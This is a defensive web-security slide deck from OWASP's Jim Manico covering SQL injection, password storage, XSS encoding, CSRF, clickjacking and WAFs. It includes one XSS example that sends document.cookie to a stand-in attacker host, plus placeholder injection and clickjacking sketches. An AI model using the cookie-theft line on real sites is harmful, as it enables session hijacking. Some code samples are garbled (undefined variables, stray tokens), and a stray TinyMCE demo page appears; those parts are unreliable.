Top Ten Web Application Defenses
Jim Manico  @manicode

– Global OWASP Board Member
  • OWASP Cheat-Sheet Series Manager

– VP of Security Architecture, WhiteHat Security
  • 15 years of web-based, database-driven software development and analysis experience
  • Over 7 years as a provider of secure developer training courses for SANS, Aspect Security and others
Anatomy of a SQL Injection Attack

```php
$NEW_EMAIL = Request['new_email'];
$USER_ID = Request['user_id'];

update users set email='$NEW_EMAIL'
where id=$USER_ID;
```
Anatomy of a SQL Injection Attack

SUPER AWESOME HACK: $NEW_EMAIL = '

$NEW_EMAIL = Request['new_email'];
$USER_ID = Request['user_id'];

update users set email='$NEW_EMAIL'
where id=$USER_ID;

update users set email=''';
where id=$USER_ID;
Query Parameterization (PHP)

```php
$stmt = $dbh->prepare("update users set email=:new_email where id=:user_id");

$stmt->bindParam(':new_email', $email);
$stmt->bindParam(':user_id', $id);
```
SqlConnection objConnection = new SqlConnection(_ConnectionString);
objConnection.Open();
SqlCommand objCommand = new SqlCommand("SELECT * FROM User WHERE Name = @Name AND Password = @Password", objConnection);

objCommand.Parameters.Add("@Name", NameTextBox.Text);
objCommand.Parameters.Add("@Password", PassTextBox.Text);

SqlDataReader objReader = objCommand.ExecuteReader();
String newName = request.getParameter("newName") ;
String id = request.getParameter("id");

//SQL
PreparedStatement pstmt = con.prepareStatement("UPDATE
    EMPLOYEES SET NAME = ? WHERE ID = ?");
pstmt.setString(1, newName);
pstmt.setString(2, id);

//HQL
Query safeHQLQuery = session.createQuery("from Employees
    where id=:empId");
safeHQLQuery.setParameter("empId", id);
Query Parameterization Failure
(Ruby on Rails)

# Create
Project.create!(:name => 'owasp')

# Read
Project.all(:conditions => "name = ?", name)
Project.all(:conditions => { :name => name })
Project.where("name = :name", :name => name)
Project.where(:id=> params[:id]).all

# Update
project.update_attributes(:name => 'owasp')
Query Parameterization (Cold Fusion)

```
<cfquery name="getFirst" dataSource="cfsnippets">
  SELECT * FROM #strDatabasePrefix#_courses WHERE intCourseID = <cfqueryparam value=#intCourseID# CFSQLType="CF_SQL_INTEGER">
</cfquery>
```
my $sql = "INSERT INTO foo (bar, baz) VALUES ( ?, ? )";
my $sth = $dbh->prepare( $sql );
$sth->execute( $bar, $baz );
public bool login(string loginId, string shrPass) {
    DataClassesDataContext db = new DataClassesDataContext();
    var validUsers = from user in db.USER_PROFILE
                     where user.LOGIN_ID == loginId
                     && user.PASSWORDH == shrPass
                     select user;
    if (validUsers.Count() > 0) return true;
    return false;
};
Password Defenses

- Disable Browser Autocomplete
  - `<form AUTOCOMPLETE="off">`
  - `<input AUTOCOMPLETE="off">`

- Only send passwords over HTTPS POST

- Do not display passwords in browser
  - Input type=password
  - Do not display passwords in HTML document

- Store password on based on need
  - Use a Salt
  - SCRYPT/PBKDF2
  - HMAC
Password Storage Suggestions (iffy)

BCRYPT

• Really slow on purpose (work factor)
• Blowfish derived
• Takes about 10 concurrent runs of BCRYPT to pin a high performance laptop CPU
• Not effective for high performance computing

PBKDF2

• Takes up a lot of memory
• Work factor needs to be set properly
• (50,000 – 10,000,000)
public String hash(String password, String userSalt, int iterations)
    throws EncryptionException {
    byte[] bytes = null;
    try {
        MessageDigest digest = MessageDigest.getInstance(hashAlgorithm);
        digest.reset();
        digest.update(ESAPI.securityConfiguration().getMasterSalt());
        digest.update(userSalt.getBytes(encoding));
        digest.update(password.getBytes(encoding));

        // rehash a number of times to help strengthen weak passwords
        bytes = digest.digest();
        for (int i = 0; i < iterations; i++) {
            digest.reset();
            bytes = digest.digest(salts + bytes + hash(i));
        }

        String encoded = ESAPI.encoder().encodeForBase64(bytes, false);
        return encoded;
    } catch (Exception ex) {
        throw new EncryptionException("Internal error", "Error");
    }
}
We Need Something Better
Password Storage in the Real World

1) Do not limit the type of characters of length of user password

2) Use a cryptographically strong credential-specific salt

3) Impose intractable verification on [only] the attacker

4) Design protection/verification for compromise
Password Storage in the Real World

1) Do not limit the type of characters or length of user password

- Limiting passwords to protect against injection is doomed to failure
- Use proper encoder and other defenses described instead
2) Use a cryptographically strong credential-specific salt

• protect([protection func], [salt] + [credential]);

• Use a 32b or 64b salt (actual size dependent on protection function);

• Do not depend on hiding, splitting, or otherwise obscuring the salt
3a) Impose intractable verification on [only] the attacker

- pbkdf2([salt], [credential], c=10,000,000);

- **PBKDF2** when FIPS certification or enterprise support on many platforms is required

- **Scrypt** where resisting any/all hardware accelerated attacks is necessary but support isn’t.
Leverage Keyed Functions

3b) Impose intractable verification on [only] the attacker

• HMAC-SHA-256([key], [salt] + [credential])

• Protect this key as any private key using best practices

• Store the key outside the credential store

• Upholding security improvement over (solely) salted schemes relies on proper key creation and management
Multi Factor Authentication

- Passwords as a single Authentication factor are DEAD!
- Mobile devices are quickly becoming the “what you have” factor
- SMS and native apps for MFA are not perfect but heavily reduce risk vs. passwords only
- Password strength and password policy can be MUCH WEAKER in the face of MFA
- If you are protecting your magic user and fireball wand with MFA (Blizzard.net) you may also wish to consider protecting your multi-billion dollar enterprise with MFA
## Forgot Password Secure Design

<table>
<thead>
<tr>
<th>Require identity questions</th>
</tr>
</thead>
<tbody>
<tr>
<td>• Last name, account number, email, DOB</td>
</tr>
<tr>
<td>• Enforce lockout policy</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Ask one or more good security questions</th>
</tr>
</thead>
</table>

<table>
<thead>
<tr>
<th>Send the user a randomly generated token via out-of-band</th>
</tr>
</thead>
<tbody>
<tr>
<td>• email, SMS or token</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Verify code in same web session</th>
</tr>
</thead>
<tbody>
<tr>
<td>• Enforce lockout policy</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Change password</th>
</tr>
</thead>
<tbody>
<tr>
<td>• Enforce password policy</td>
</tr>
</tbody>
</table>
Anatomy of a XSS Attack

```html
<script>
window.location='https://evililjim.com/unc/data=' + document.cookie;
</script>

<script>
document.body.innerHTML='<blink>CYBER IS COOL</blink>';  
</script>
```
Contextual Output Encoding (XSS Defense)

- Session Hijacking
- Site Defacement
- Network Scanning
- Undermining CSRF Defenses
- Site Redirection/Phishing
- Load of Remotely Hosted Scripts
- Data Theft
- Keystroke Logging
- Attackers using XSS more frequently
### XSS Defense by Data Type and Context

<table>
<thead>
<tr>
<th>Data Type</th>
<th>Context</th>
<th>Defense</th>
</tr>
</thead>
<tbody>
<tr>
<td>String</td>
<td>HTML Body</td>
<td>HTML Entity Encode</td>
</tr>
<tr>
<td>String</td>
<td>HTML Attribute</td>
<td>Minimal Attribute Encoding</td>
</tr>
<tr>
<td>String</td>
<td>GET Parameter</td>
<td>URL Encoding</td>
</tr>
<tr>
<td>String</td>
<td>Untrusted URL</td>
<td>URL Validation, avoid javascript: URLs, Attribute encoding, safe URL verification</td>
</tr>
<tr>
<td>String</td>
<td>CSS</td>
<td>Strict structural validation, CSS Hex encoding, good design</td>
</tr>
<tr>
<td>HTML</td>
<td>HTML Body</td>
<td>HTML Validation (JSoup, AntiSamy, HTML Sanitizer)</td>
</tr>
<tr>
<td>Any</td>
<td>DOM</td>
<td>DOM XSS Cheat Sheet</td>
</tr>
<tr>
<td>Untrusted JavaScript</td>
<td>Any</td>
<td>Sandboxing</td>
</tr>
<tr>
<td>JSON</td>
<td>Client Parse Time</td>
<td>JSON.parse() or json2.js</td>
</tr>
</tbody>
</table>

**Safe HTML Attributes include:** align, alink, alt, bgcolor, border, cellpadding, cellspacing, class, color, cols, colspan, coords, dir, face, height, hspace, ismap, lang, marginheight, marginwidth, multiple, nohref, noresize, noshade, nowrap, ref, rel, rev, rows, rowspan, scrolling, shape, span, summary, tabindex, title, usemap, valign, value, vlink, vspace, width
&lt;
<span>UNTRUSTED DATA</span>
HTML Attribute Context

```html
<input type="text" name="fname" value="UNTRUSTED DATA">
```

attack: "">/* bad stuff */</script>
HTTP GET Parameter Context

\[\text{attack: } "\text{onclick}="/* \text{bad stuff} */"\]
attack: javascript:/* BAD STUFF */
CSS Value Context

```html
<div style="width: UNTRUSTED DATA;">Selection</div>
```

attack: `expression(/* BAD STUFF */)`
JavaScript Variable Context

<script>var currentValue='UNTRUSTED DATA';</script>

<script>someFunction('UNTRUSTED DATA');</script>

attack: ');
/* BAD STUFF */
JSON Parsing Context

JSON.parse(UNTRUSTED JSON DATA)
SAFE use of JQuery
   • $($('#element').text(UNTRUSTED DATA));

UNSAFE use of JQuery
   • $('#element').html(UNTRUSTED DATA);
### Dangerous jQuery 1.7.2 Data Types

<table>
<thead>
<tr>
<th>CSS</th>
<th>Some Attribute Settings</th>
</tr>
</thead>
<tbody>
<tr>
<td>HTML</td>
<td>URL (Potential Redirect)</td>
</tr>
</tbody>
</table>

### jQuery methods that directly update DOM or can execute JavaScript

<table>
<thead>
<tr>
<th>Method</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>$(() or jQuery()</td>
<td>.attr()</td>
</tr>
<tr>
<td>.add()</td>
<td>.css()</td>
</tr>
<tr>
<td>.after()</td>
<td>.html()</td>
</tr>
<tr>
<td>.animate()</td>
<td>.insertAfter()</td>
</tr>
<tr>
<td>.append()</td>
<td>.insertBefore()</td>
</tr>
<tr>
<td>.appendTo()</td>
<td>Note: .text() updates DOM, but is safe.</td>
</tr>
</tbody>
</table>

### jQuery methods that accept URLs to potentially unsafe content

<table>
<thead>
<tr>
<th>Method</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>jQuery.ajax()</td>
<td>jQuery.post()</td>
</tr>
<tr>
<td>jQuery.get()</td>
<td>load()</td>
</tr>
<tr>
<td>jQuery.getScript()</td>
<td></td>
</tr>
</tbody>
</table>
Contextual encoding is a crucial technique needed to stop all types of XSS

jqencoder is a jQuery plugin that allows developers to do contextual encoding in JavaScript to stop DOM-based XSS

- `$('#element').encode('html', cdata);`
DOM-Based XSS Defense

• Untrusted data should only be treated as displayable text
• JavaScript encode and delimit untrusted data as quoted strings
• Use document.createElement("…"), element.setAttribute("…","value"), element.appendChild(…), etc. to build dynamic interfaces (safe attributes only)
• Avoid use of HTML rendering methods
• Make sure that any untrusted data passed to eval() methods is delimited with string delimiters and enclosed within a closure such as eval(someFunction(‘UNTRUSTED DATA’));
This example displays all plugins and buttons that come with the TinyMCE package.

Welcome to the TinyMCE editor demo!

Feel free to try out the different features that are provided, please note that the MCImageManager and MCFileManager specific functionality is part of our commercial offering. The demo is to show the integration.

We really recommend Firefox as the primary browser for the best editing experience, but of course, TinyMCE is compatible with all major browsers.

Got questions or need help?

If you have questions or need help, feel free to visit our community forum! We also offer Enterprise support solutions. Also do not miss out on the documentation, its a great resource wiki for understanding how TinyMCE works and integrates.

Source output from post

<table>
<thead>
<tr>
<th>Element</th>
<th>HTML</th>
</tr>
</thead>
</table>
| content | `<h1><img style="float: right;" title="TinyMCE Logo" src="img/tlogo.png" alt="TinyMCE Logo" width="92" height="80" />
Welcome to the TinyMCE editor demo!</h1>
<p>Feel free to try out the different features that are provided, please note that the MCImageManager and MCFileManager specific functionality is part of our commercial offering. The demo is to show the integration.</p>
<p>We really recommend <a href="http://www.getfirefox.com" target="_blank">Firefox</a> as the primary browser for the best editing experience, but of course, TinyMCE is compatible with all major browsers.</p>` |
| h2 | `Got questions or need help?` |
| h2 | `If you have questions or need help, feel free to visit our community forum! We also offer Enterprise support solutions. Also do not miss out on the documentation, its a great resource wiki for understanding how TinyMCE works and integrates.` |
| h2 | `Found a bug?` |
| h2 | `If you think you have found a bug, you can use the Tracker to report bugs to the developers.` |
| h2 | `And here is a simple table for you to play with:` |
OWASP HTML Sanitizer Project

https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer_Project

- HTML Sanitizer written in Java which lets you include HTML authored by third-parties in your web application while protecting against XSS.
- This code was written with security best practices in mind, has an extensive test suite, and has undergone adversarial security review [https://code.google.com/p/owasp-java-html-sanitizer/wiki/AttackReviewGroundRules](https://code.google.com/p/owasp-java-html-sanitizer/wiki/AttackReviewGroundRules).
- Very easy to use.
- It allows for simple programmatic POSITIVE policy configuration (see below). No XML config.
- Actively maintained by Mike Samuel from Google's AppSec team!
- This is code from the Caja project that was donated by Google. It is rather high performance and low memory utilization.
Solving Real World Problems with the OWASP HTML Sanitizer Project

The Problem

Web Page is vulnerable to XSS because of untrusted HTML

The Solution

```java
PolicyFactory policy = new HtmlPolicyBuilder()
    .allowElements("a")
    .allowUrlProtocols("https")
    .allowAttributes("href").onElements("a")
    .requireRelNofollowOnLinks()
    .build();
String safeHTML = policy.sanitize(untrustedHTML);
```
OWASP Java Encoder Project
https://www.owasp.org/index.php/OWASP_Java_Encoder_Project

- No third party libraries or configuration necessary.
- This code was designed for high-availability/high-performance encoding functionality.
- Simple drop-in encoding functionality
- Redesigned for performance
- More complete API (uri and uri component encoding, etc) in some regards.
- This is a Java 1.5 project.
- Last updated February 14, 2013 (version 1.1)
The Problem

Web Page built in Java JSP is vulnerable to XSS

The Solution

<input type="text" name="data" value="\%= Encode.forHtmlAttribute(dataValue) %"> />
<textarea name="text">\%= Encode.forHtmlContent(textValue) %"></textarea>
<button onclick="alert('\%= Encode.forJavaScriptAttribute(alertMsg) %');">click me</button>

<script type="text/javascript">
var msg = "\%= Encode.forJavaScriptBlock(message) %";
alert(msg);
</script>

OWASP Java Encoder Project
https://www.owasp.org/index.php/OWASP_Java_Encoder_Project
Content Security Policy

- Anti-XSS W3C standard
- Content Security Policy *latest release version*
- [http://www.w3.org/TR/CSP/](http://www.w3.org/TR/CSP/)
- Must move all inline script and style into external scripts
- Add the X-Content-Security-Policy response header to instruct the browser that CSP is in use
  - *Firefox/IE10PR: X-Content-Security-Policy*
  - *Chrome Experimental: X-WebKit-CSP*
  - *Content-Security-Policy-Report-Only*
- Define a policy for the site regarding loading of content
Cross-Site Request Forgery Tokens and Re-authentication

- Cryptographic Tokens
  - Primary and most powerful defense. Randomness is your friend

- Require users to re-authenticate
  - Amazon.com does this *really* well

- Double-cookie submit defense
  - Decent defense, but not based on randomness; based on SOP
How do you change the policy of this code?
Apache SHIRO
http://shiro.apache.org/

• Apache Shiro is a powerful and easy to use Java security framework.
• Offers developers an intuitive yet comprehensive solution to authentication, authorization, cryptography, and session management.
• Built on sound interface-driven design and OO principles.
• Enables custom behavior.
• Sensible and secure defaults for everything.
Solving Real World Access Control Problems with the Apache Shiro

The Problem
Web Application needs secure access control mechanism

The Solution
```java
if ( currentUser.isPermitted( "lightsaber:wield" ) ) {
    log.info("You may use a lightsaber ring. Use it wisely.");
} else {
    log.info("Sorry, lightsaber rings are for schwartz masters only.");
}
```
Solving Real World Access Control Problems with the Apache Shiro

The Problem
Web Application needs to secure access to a specific object

The Solution

```java
if ( currentUser.isPermitted("winnebago:drive:eagle5") ) {
    log.info("You are permitted to 'drive' the 'winnebago' with license plate (id) 'eagle5'. Here are the keys - have fun!" chatt);
} else {
    log.info("Sorry, you aren't allowed to drive the 'eagle5' winnebago!" chatt);
}
```
Anatomy of a Clickjacking Attack
First, make a tempting site
<iframe src="https://mail.google.com"></iframe>
iframe is invisible, but still clickable!
Super Fun Games - Play Now!

Start Game!

One Player
X-Frame-Options

// to prevent all framing of this content
response.addHeader( "X-FRAME-OPTIONS", "DENY" );

// to allow framing of this content only by this site
response.addHeader( "X-FRAME-OPTIONS", "SAMEORIGIN" );

// to allow framing from a specific domain
response.addHeader( "X-FRAME-OPTIONS", "ALLOW-FROM X" );
Legacy Browser Clickjacking Defense

```html
<style id="antiCJ">body{display:none !important;}</style>
<script type="text/javascript">
if (self === top) {
    var antiClickjack = document.getElementById("antiCJ");
    antiClickjack.parentNode.removeChild(antiClickjack)
} else {
    top.location = self.location;
}
</script>
```
Encryption in Transit (HTTPS/TLS)

- Authentication credentials and session identifiers must be encrypted in transit via HTTPS/SSL
  - Starting when the login form is rendered
  - Until logout is complete

- [https://www.ssllabs.com](https://www.ssllabs.com) free online assessment of public-facing server HTTPS configuration
- HSTS (Strict Transport Security) can help
How I learned to stop worrying and love the WAF
Virtual Patching

“A security policy enforcement layer which prevents the exploitation of a known vulnerability”
Virtual Patching

Rationale for Usage
- No Source Code Access
- No Access to Developers
- High Cost/Time to Fix

Benefit
- Reduce Time-to-Fix
- Reduce Attack Surface
Strategic Remediation

• Ownership is *Builders*
• Focus on web application root causes of vulnerabilities and creation of controls *in code*
• Ideas during design and initial coding phase of SDLC
• This takes serious *time, expertise and planning*
Tactical Remediation

- Ownership is *Defenders*
- Focus on web applications that are *already in production* and exposed to attacks
- Examples include using a Web Application Firewall (WAF) such as ModSecurity
- Aim to *minimize the Time-to-Fix exposures*
Essential Plug-n-Play Protection from Web Application Attacks

ModSecurity™ is a web application firewall engine that provides very little protection on its own. In order to become useful, ModSecurity™ must be configured with rules. In order to enable users to take full advantage of ModSecurity™ out of the box, the OWASP Defender Community has developed and maintains a free set of application protection rules called the OWASP ModSecurity Core Rule Set (CRS). Unlike intrusion detection and prevention systems, which rely on signatures specific to known vulnerabilities, the CRS provides generic protection from unknown vulnerabilities often found in web applications.

http://www.owasp.org/index.php/Category:OWASP_ModSecurity_Core_Rule_Set_Project
I LOVE YOU ALL

jim@owasp.org